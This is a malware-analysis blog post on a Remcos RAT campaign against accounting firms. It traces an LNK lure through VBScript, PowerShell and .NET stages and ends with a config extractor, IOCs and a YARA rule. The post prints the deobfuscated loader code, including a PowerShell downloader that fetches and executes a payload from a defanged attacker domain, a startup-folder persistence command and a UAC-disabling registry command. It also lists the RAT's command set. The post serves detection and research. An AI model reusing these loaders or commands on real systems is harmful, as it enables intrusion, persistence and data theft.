Post

Remcos RAT

In February 2023, Microsoft observed a new Remcos RAT campaign targeting US accounting and tax return preparation firms. The phishing attacks began in February 2023. The malicious LNK files were hosted on a legitimate file-sharing service, and they were disguised as tax documentation sent by a client. When a user clicked on the LNK file, it would make a web request to an actor-controlled domain to download additional malicious files. These files could include MSI files containing DLLs or executables, VBScript files containing PowerShell commands, or deceptive PDFs.

LNK files are essentially shortcuts that point to other files, but they can be configured to execute malicious code when they are opened. Attackers often use malicious LNK files to deliver other types of malware, such as ransomware, trojans, and worms.

Remcos (Remote Control & Surveillance Software) RAT is a commercial remote access tool that is sold online. It is a powerful tool that can be used for legitimate purposes, such as remote IT support or penetration testing. However, Remcos RAT has also been used by cybercriminals to gain unauthorized access to computers and steal sensitive data. It is a sophisticated piece of malware that is difficult to detect and remove.

Remcos

Sample Analysis

LNK File

PropertyValue
File Typelnk
SHA-256b04369170c0182553f274c330797459fe60ddcb269d04d71b49994cacedf98c2
SSDEEP12:8eUm/3BVSXvk44X3ojsqzKtnWNQC0GopW+UcCsvXIelOG5e6lzbdpYrn1IlI5u9B:8s/BHYVKVWWCDX+/CW4YO2dd79dsHmB

The sample we have was distributed via e-mail attachment, let’s take a look at its arguments, for that I’ll use Eric Zimmerman’s LECmd.

LECmd Result

I’m more interested in the link it navigates to as it seems it uses the mshta.exe command which is a command-line tool that can be used to run JavaScript code.

I’ll use this Powershell command to download its contents and further analyze it.

NOTE: The following link is still active, you may find a different payload than than the one at the time of writing this report

1
Invoke-WebRequest hxxp://thanhancompany[.]com/ta/dma[.]hta -O C:\Users\$Env:UserName\Desktop\analysis\payload.hta;

LECmd Result

It’s executing that huge blob of obfuscated VBscript, let’s modify it and print out the deobfuscated script.

Function CSw(ByVal lBd)

                   Dim AOR

                   Dim kSN

                    kSN = 469

                    Dim edh

                   edh = veU(lBd)

                        If edh = 7000 + 1204 Then

                    For Each AOR In lBd

                   Dim pIl

                         pIl = pIl & Chr(AOR - kSN)

                      Next

                   End If

                  CSw = pIl

                End Function

                Function vmq()

                  Dim lBd

                  Dim ffG

                  ffG = "powershell.exe -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $PMYU = 'AAAAAAAAAAAAAAAAAAAAAO8FSCMAzk5US3uWBq0j3dt4XFMdIOSlZztWArLDsRkRGE54mvZqk8qfTMNEVZy15IDkKUr2ly7MXHOrJu8mDE9UPOhKvHz++F8tsOF9NaSsmMTp4F1Mv8efsi+QddKVSCSQmNl6j3ARsi1DHWyuyQwLy0rocy4IhGDyZkp8VAIMsfpVR3VhmDKfe49xViG41Wr8doPawSeV611s+MQEFFJPJPIjDGDFC05CXqhDtpnZWeecUV7S2iusXI4fAe6pAIqhPuOFqPLRzMqcJdu3T+/OmgV2hwB5+QKqgBEOBfE6hVpTVgGkPo60HRP6al2TTjsIH85Te/5QPhZoIA7lY7O3FNoDVZz/hdl4YJNOxHm2PhPYM6JdQwP/2VFmiTMQRNohRbA0b2JA6Jx2HJYCWoStXI3mRwCL5vCWbO429v3Tlfrjhe6AXHPObLAM5dox8xIhqxqdHpGXxpR1IRNym5bndzncJhldFqm5YlSTc4QB+/NDmnkhWuzPvTmihO1JuOKg76exHGlEffqO7wOfXXt1HWITZnEca5YvmaS+KIIlelTR/re5QfKEjIK9pWDC5Wuujli8SGtfMHORke0k93Y8fQoQ1T+qAihIe7KoKf4WeH4kl8sUxLzRjQjBB5SQn5FERGmQcWLiUtmrX/Ne3ESgLwhmJkiNMoFHIpH4nYB2H4jIOPTSv61PAmTluXJA+ng2w2se8fUVcTKBxbSTfy9vUuNWN/SGQupDUARdIrWOIAhfUxHriIFIGBo/6QU8I0h/J/I1BLZ9ayctoTYIb1i0vwpROjvnfbg+VmBwuZEyIHqrq0scMQyJ8JiPOcRpCyfwSyeO/be6WCsgLwJ2njrS5IeEJfZVueVOm8fvrxxviT8CwElGeONy6A9EFabtGg2HQEmAYujjQyw9ISdJZnKMA+Tmg7+26GWV4DprZXQA99IIbuWHHeYfeInbNFM4X9qWupj7SvX5CF2ykwg/+tswK/N60P0dq/cNXnEFVh3/';$iYJEvRn = 'UkpyVlpHb2ZJUWV0dlNLTkxKd0lGRWpkWWRxRWRCTmE=';$LfvAGfRR = New-Object 'System.Security.Cryptography.AesManaged';$LfvAGfRR.Mode = [System.Security.Cryptography.CipherMode]::ECB;$LfvAGfRR.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$LfvAGfRR.BlockSize = 128;$LfvAGfRR.KeySize = 256;$LfvAGfRR.Key = [System.Convert]::FromBase64String($iYJEvRn);$TQQdH = [System.Convert]::FromBase64String($PMYU);$QskgmnlX = $TQQdH[0..15];$LfvAGfRR.IV = $QskgmnlX;$SGtYchrPG = $LfvAGfRR.CreateDecryptor();$KyEgamOgH = $SGtYchrPG.TransformFinalBlock($TQQdH, 16, $TQQdH.Length - 16);$LfvAGfRR.Dispose();$PffmgxAq = New-Object System.IO.MemoryStream( , $KyEgamOgH );$yCtKdnfu = New-Object System.IO.MemoryStream;$xUGXInzyM = New-Object System.IO.Compression.GzipStream $PffmgxAq, ([IO.Compression.CompressionMode]::Decompress);$xUGXInzyM.CopyTo( $yCtKdnfu );$xUGXInzyM.Close();$PffmgxAq.Close();[byte[]] $vhNkq = $yCtKdnfu.ToArray();$GVAepQ = [System.Text.Encoding]::UTF8.GetString($vhNkq);$GVAepQ | powershell - }"

                    Dim vql

                      Set vql = iPq(CSw(Array(556,584,568,583,574,581,585,515,552,573,570,577,577)))

                       vql.Run(ffG),0,true

                self.close()

                End Function

                Function veU(ByVal edh)

                    veU = VarType(edh)

                End Function

                Function iPq(ByVal objectType)

                Set iPq = CreateObject(objectType)

                End Function

                vmq()

This basically runs this encrypted Powershell command in the ffG variable using Wscript.Shell in a new hidden window.

Here’s the Powershell script it executes :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$PMYU = 'AAAAAAAAAAAAAAAAAAAAAO8FSCMAzk5US3uWBq0j3dt4XFMdIOSlZztWArLDsRkRGE54mvZqk8qfTMNEVZy15IDkKUr2ly7MXHOrJu8mDE9UPOhKvHz++F8tsOF9NaSsmMTp4F1Mv8efsi+QddKVSCSQmNl6j3ARsi1DHWyuyQwLy0rocy4IhGDyZkp8VAIMsfpVR3VhmDKfe49xViG41Wr8doPawSeV611s+MQEFFJPJPIjDGDFC05CXqhDtpnZWeecUV7S2iusXI4fAe6pAIqhPuOFqPLRzMqcJdu3T+/OmgV2hwB5+QKqgBEOBfE6hVpTVgGkPo60HRP6al2TTjsIH85Te/5QPhZoIA7lY7O3FNoDVZz/hdl4YJNOxHm2PhPYM6JdQwP/2VFmiTMQRNohRbA0b2JA6Jx2HJYCWoStXI3mRwCL5vCWbO429v3Tlfrjhe6AXHPObLAM5dox8xIhqxqdHpGXxpR1IRNym5bndzncJhldFqm5YlSTc4QB+/NDmnkhWuzPvTmihO1JuOKg76exHGlEffqO7wOfXXt1HWITZnEca5YvmaS+KIIlelTR/re5QfKEjIK9pWDC5Wuujli8SGtfMHORke0k93Y8fQoQ1T+qAihIe7KoKf4WeH4kl8sUxLzRjQjBB5SQn5FERGmQcWLiUtmrX/Ne3ESgLwhmJkiNMoFHIpH4nYB2H4jIOPTSv61PAmTluXJA+ng2w2se8fUVcTKBxbSTfy9vUuNWN/SGQupDUARdIrWOIAhfUxHriIFIGBo/6QU8I0h/J/I1BLZ9ayctoTYIb1i0vwpROjvnfbg+VmBwuZEyIHqrq0scMQyJ8JiPOcRpCyfwSyeO/be6WCsgLwJ2njrS5IeEJfZVueVOm8fvrxxviT8CwElGeONy6A9EFabtGg2HQEmAYujjQyw9ISdJZnKMA+Tmg7+26GWV4DprZXQA99IIbuWHHeYfeInbNFM4X9qWupj7SvX5CF2ykwg/+tswK/N60P0dq/cNXnEFVh3/';
$iYJEvRn = 'UkpyVlpHb2ZJUWV0dlNLTkxKd0lGRWpkWWRxRWRCTmE=';
$LfvAGfRR = New-Object 'System.Security.Cryptography.AesManaged';
$LfvAGfRR.Mode = [System.Security.Cryptography.CipherMode]::ECB;
$LfvAGfRR.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;
$LfvAGfRR.BlockSize = 128;
$LfvAGfRR.KeySize = 256;
$LfvAGfRR.Key = [System.Convert]::FromBase64String($iYJEvRn);
$TQQdH = [System.Convert]::FromBase64String($PMYU);
$QskgmnlX = $TQQdH[0..15];
$LfvAGfRR.IV = $QskgmnlX;
$SGtYchrPG = $LfvAGfRR.CreateDecryptor();
$KyEgamOgH = $SGtYchrPG.TransformFinalBlock($TQQdH, 16, $TQQdH.Length - 16);
$LfvAGfRR.Dispose();
$PffmgxAq = New-Object System.IO.MemoryStream( , $KyEgamOgH );
$yCtKdnfu = New-Object System.IO.MemoryStream;
$xUGXInzyM = New-Object System.IO.Compression.GzipStream $PffmgxAq, ([IO.Compression.CompressionMode]::Decompress);
$xUGXInzyM.CopyTo( $yCtKdnfu );
$xUGXInzyM.Close();
$PffmgxAq.Close();
[byte[]] $vhNkq = $yCtKdnfu.ToArray();
$GVAepQ = [System.Text.Encoding]::UTF8.GetString($vhNkq);
$GVAepQ | powershell -

It’s pretty straightforward, this uses AES decryption with ECB mode to decrypt the final payload in $PMYU, the key is UkpyVlpHb2ZJUWV0dlNLTkxKd0lGRWpkWWRxRWRCTmE= with an IV of the first 15 characters of $PMYU that’s a list of 0s eventually and with no padding then decompresses it using Gzip

Here’s the result after some reformatting, renaming and strings decryption :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
function WriteBytes ($rXa,$Otj) {

    [IO.File]::WriteAllBytes($rXa,$Otj) 

};

function payload_type_Exec ($rXa) {

     if ($rXa.EndsWith(".dll") -eq $True) { 
        rundll32.exe $rXa } 
     elseif ($rXa.EndsWith(".ps1") -eq $True) {
         powershell.exe -ExecutionPolicy unrestricted -File $rXa }
     elseif ($rXa.EndsWith(".msi") -eq $True) { 
        misexec /qn /i $rXa } 
     else { Start-Process $rXa } 

};

function Download_Data ($dfj) { 

    $LYj = New-Object ("Net.WebClient");
    [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;
    $Otj = $LYj.DownloadData($dfj);
    return $Otj 

};

function oqo () { 
    $Kpk = $env:AppData + '\'; 
    $psLzeS = $env:AppData; 
    $JrGRTxAZ = $psLzeS + '\blank.pdf'; 
    if (Test-Path -Path $JrGRTxAZ) { 
        Invoke-Item $JrGRTxAZ; 
        } 
    else { 
        $brESVmdr = Download_Data ("hxxps://mag.wcoomd[.]org/uploads/2018/05/blank.pdf"); 
        WriteBytes $JrGRTxAZ $brESVmdr; 
        Invoke-Item $JrGRTxAZ;
         };;; 
    $LWeJprgKPqBR = $Kpk + 'dmw.exe'; 
    if (Test-Path -Path $LWeJprgKPqBR) { 
        payload_type_Exec $LWeJprgKPqBR; 
        } 
    else { 
            $ZVxucOxi = Download_Data ("hxxps://thanhancompany[.]com/grip/dmw.exe"); 
            #currently: hxxps://thanhancompany[.]com/grip/inin.exe
            WriteBytes $LWeJprgKPqBR $ZVxucOxi; 
            payload_type_Exec $LWeJprgKPqBR; 
        };; 
} 

oqo;

This is responsible for dropping the final payloads and executing them if the system isn’t infected already.

The servers aren’t down yet so I was able to wget both the pdf and the dwm files. The pdf file is almost 5kB in size and taking a quick look at it, it didn’t contain any js or OpenAction. etc.

Dropped Executable

First Stage

PropertyValue
File Type32-bit .NET
Compiler-TimestampJul 15, 2023
SHA-256DCB2C88A0E980E5D5B2227EB3EDE87E3AED37AC3A1126BBC547671763A1C102E
SSDEEP24576:uVI6+51cyQkbzsqkC3ecuPRE3oravDlwYCl:uVIFj7IqkCuZRjSlwYCl

By its name dmw.exe, it looks like it’s masquerading as a legitimate Desktop Window Manager (DWM) binary. It had an original filename of Wabmig.exe which is a Microsoft Contacts Import Tool. It could be a modified version of it but it doesn’t have a certificate.

The executable is also detected by many vendors as Artemis or Remcos.

It works as a dropper for the next stage, a DLL encrypted and embedded inside its resources.

embedded 2nd stage as a resource

The DLL is decrypted and then loaded into the memory

resources decryption

Again it uses an AES with ECB mode to decrypt the embedded resource

resources decryption

It loads and executes the first exported type

resources decryption

The next stage is a DLL :

Second Stage

PropertyValue
File Type32-bit .NET dll
Compiler-TimestampJun 30, 2023
SHA-2562860D55158B04482B7BA55C17605981BCDC0C822FA8584F0FE04368CE1CFC823
SSDEEP24576:gzHqd25wxEDNZMfgJznFwhCKf+9CQTOjOylZE:gzHq0rDimnyLGwQaqylZ

It sets the persistence for the malware in addition to dropping a third stage.

persistence

It would copy itself to the startup folder and hide the file, for that it decrypts and executes the following Powershell command

-ExecutionPolicy Bypass -command Copy-Item 'C:\Users\%USERNAME%\Desktop\analysis\dmw.bin' 'C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Utilsap.exe.exe'

persistence

It has 2 encrypted resources that decrypt and loads it using the same way as earlier.

embedded resources

loading resource

The next stage is injected into InstallUtil.exe depending on the configuration. In my case it’s located in C:\Windows\Microsoft.NET\Framework\v4.0.30319\.

InstallUtil.exe

Let’s take a look at that new dropped file.

Third Stage (Remcos RAT)

PropertyValue
File Type32-bit C++
Compiler-TimestampJul 10, 2023
SHA-25661AC755E0EC1B5376C761B82253935BC3F26F5E70C78AEFFF16355CD26457CD5
SSDEEP12288:zRXxReZj3WZfj/2eSseWFaIe2+f8CL47bs/ZO2RDU:zx7cyF2eSsewS8W47eZj

We can identify right away the SETTINGS resource which is an indicator for Remcos

config

This is used as a configuration for Remcos. It’s RC4 encrypted, the key length is the first byte of the resource after that comes the key and the encrypted data/config.

config

Here’s a simple config extractor I wrote :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import os
import pefile
from arc4 import ARC4

def rc4_decrypt(key, data):

    cipher = ARC4(key)
    decrypted = cipher.decrypt(data)
    return decrypted.decode('latin-1')

def config_extract(filename):
    pe = pefile.PE(filename)

    ResourceData = "" 
    offset = 0x0
    size = 0x0

    for rsrc in pe.DIRECTORY_ENTRY_RESOURCE.entries:
      for entry in rsrc.directory.entries:
            if entry.name.__str__() == "SETTINGS":
                offset = entry.directory.entries[0].data.struct.OffsetToData
                size = entry.directory.entries[0].data.struct.Size

    ResourceData = pe.get_memory_mapped_image()[offset:offset+size]

    return ResourceData


def main():
    files = os.listdir()
    for file in files:
            with open(file, "rb") as f:
                magic_number = f.read(2)
                if magic_number == b"MZ":
                    filename = file
                    data = config_extract(filename)  
                    key_len = data[0]
                    key = data[1:key_len+1]
                    data = data[key_len+1:]
                    print(f"File {filename} -- CONFIG : \n")
                    print(rc4_decrypt(key, data))
                    print("================== \n")

if __name__ == '__main__':
    main()

Here’s the configuration :

1
favor-grace-fax.home-webserver.de:37782:0||Favor||1|| ||||||1||100000|| ||8||U Y G V 7 8 Y H j 9 8 7 Y s . e x e   |||| ||0||-87yhJKO987ygh-DSBOY7||1||8||0 9 8 7 y U I O 0 9 8 7 y U I O i u y g . d a t   |||||| ||10|| ||  ||5||6||Screenshots|| || || || || || || || || ||5||||MicRecords|| ||0||0||  || ||||0|| ||1||i u 7 y t r t y u   ||9 8 U y g h j I 9 U y h g 9 I U Y   || || ||7D62721739286C72246F849A4FB8F0A0|| ||||||||

Highlighting some of its values, it contains the C2, the name of the encrypted log file 0987yUIO0987yUIOiuyg.dat which contains Remcos logs along with captured keystrokes located in C:\ProgramData.

It additionally contains the License 7D62721739286C72246F849A4FB8F0A0 along with the features configuration, 0 for disabled, and 1 for enabled.

It also contains the name of the Remcos registry key -87yhJKO987ygh-DSBOY7 under HKEY_CURRENT_USER\Software\ holding information in the subkeys such as the license, execution timestamp in Unix hexadecimal format, the subkey wd as an indicator of setting up watchdog (daemon process) for Remcos as a background process and to protect itself from being killed, FR I believe it’s for deleting browsers’ logins and cookies (chrome, firefox and internet explorer). I’m not sure why would it do that, maybe to cover its traces or to force the user to login back and log their activity stealing credentials and cookies etc. v for its version (4.8.1 pro latest version for our case), exepath and pth_unenc for encrypted and unencrypted execution paths respectively.

Remcos uses dynamic API resolving as well as I believe inline code obfuscation and dynamic values. It gets the user’s idle time by calling GetTickCount and GetLastInputInfo and logs the idle time as well if it’s more than 60s.

API resolving

It can bypass User Account Control (UAC) in a couple of ways, by accessing HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\Elev in pre-win10 and HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System subkey EnableLUA.

It exploits the CMSTPLUA COM interface. It masquerades the PEB of the current process as a Windows process (explorer.exe) and then utilizes COM Elevation Moniker on the CMSTPLUA COM object to execute commands in an elevated context. for that, it uses direct system calls for example to NtAllocateVirtualMemory and RtlAcquirePebLock, etc.

API resolving

Remcos also disables DEP (data execution prevention) using SetProcessDEPPolicy, Once DEP is disabled, This can allow the malware to execute malicious code from memory locations that are not supposed to contain executable code, Bypass security restrictions, such as those imposed by AppLocker or UAC or even install rootkits or other malware.

For persistence (AutoRun/UserLogon), it utilizes the registries:

  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\

  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\

  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\

It’s dependent on process hollowing to inject into Internet Explorer if it’s configured to do so, This will also be flagged in the register under Inj subkey. Additionally, I believe it uses process hollowing to inject its Watchdog process into svchost.exe, rmclient.exe or fsutil.exe.

For C2 communication, it uses TLS protocol for data extraction (files/logs) or to execute a command. It has plenty of preset commands for features to execute but I’ll highlight a few:

Command Code (Hex)Functionality
0x1Gets user idle time
0x2Disbales live connection between victim device and Remcos C2
0x3Get a list of installed apps
0x6List active processes including image name and if it’s 64/32 bit
0x7Terminate a process
0x8Enumirate active windows logging its image filename
0xDSpawn a CMD for command execution
0xERead/Write to a file
0x12Gets the keyboard layout
0x13/0x14Start/Stop online keylogging
0x17Delete keyloggings
0x18Delete browsers data
0x1B/0x1COpen/Close camera capturing pictures
0x1D/0x1EStart/Stop audio recording using waveInOpen/waveInClose and waveInStart/waveInStop
0x21Terminate Remcos process and exit
0x22Uninstall and remove Remcos, deleting all its files and registery keys
0x24Using URLDownloadToFileW to update Remcos
0x26Display a warning message box to the victim
0x27Using SetSuspendState to put the system on hibernate mode additionaly control system and user logon status
0x28Gets clipboard data
0x92Change user profile settings (desktop, icons, cursor) using SystemParametersInfoW
0x95Get user current window, idle time and current time
0x97Access sysinfo.txt to displays detailed configuration information about the victim’s PC and its operating system
0x98Download and optionally execute files
0x9EPlay an alarm sound to the victim
0xB2Download and inject an executable via prrocess hollowing
0xC6Decrypt protected data
0xC8/0xCASuspend/Resume process

Aditionally it can monitor cursor movements, upload files to C2, fingerprint system getting User/PC name, architecture, OS version and user idle time. Not to mention the FunFunc that is used to execute arbitrary code on the victim’s device

IOCs

  • C2

    favor-grace-fax.home-webserver.de:37782

  • Files

    C:\ProgramData\98UyghjI9Uyhg9IUY\0987yUIO0987yUIOiuyg.dat

    C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Utilsap.exe.exe

    dmw.exe

  • Registry key

    HKEY_CURRENT_USER\Software\-87yhJKO987ygh-DSBOY7

YARA Rule

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
rule Remcos {
   meta:
      author = "@3weSxZero"
      date = "2023-08-01"
      hash1 = "61AC755E0EC1B5376C761B82253935BC3F26F5E70C78AEFFF16355CD26457CD5"
   
   strings:
      $s2 = "/k %windir%\\System32\\reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWOR" ascii
      $s3 = "/k %windir%\\System32\\reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWOR" ascii
      $s4 = "CreateObject(\"WScript.Shell\").Run \"cmd /c \"\"" fullword wide
      $s5 = "[+] before ShellExec" fullword ascii
      $s6 = "[+] ShellExec success" fullword ascii
      $s7 = "[+] ucmCMLuaUtilShellExecMethod" fullword ascii
      $s8 = "Remcos Agent initialized" fullword ascii
      $s9 = "Keylogger initialization failure: error " fullword ascii
      $s10 = "[-] CoGetObject FAILURE" fullword ascii
      $s11 = "Offline Keylogger Started" fullword ascii
      $s12 = "Online Keylogger Started" fullword ascii
      $s13 = "Online Keylogger Stopped" fullword ascii
      $s14 = "Offline Keylogger Stopped" fullword ascii
      $s15 = "fso.DeleteFile(Wscript.ScriptFullName)" fullword wide
      $s16 = "Executing file: " fullword ascii
      $s17 = "[+] CoGetObject" fullword ascii
   condition:
      uint16(0) == 0x5a4d and filesize < 1000KB and 4 of ($s*)
} 
This post is licensed under CC BY 4.0 by the author.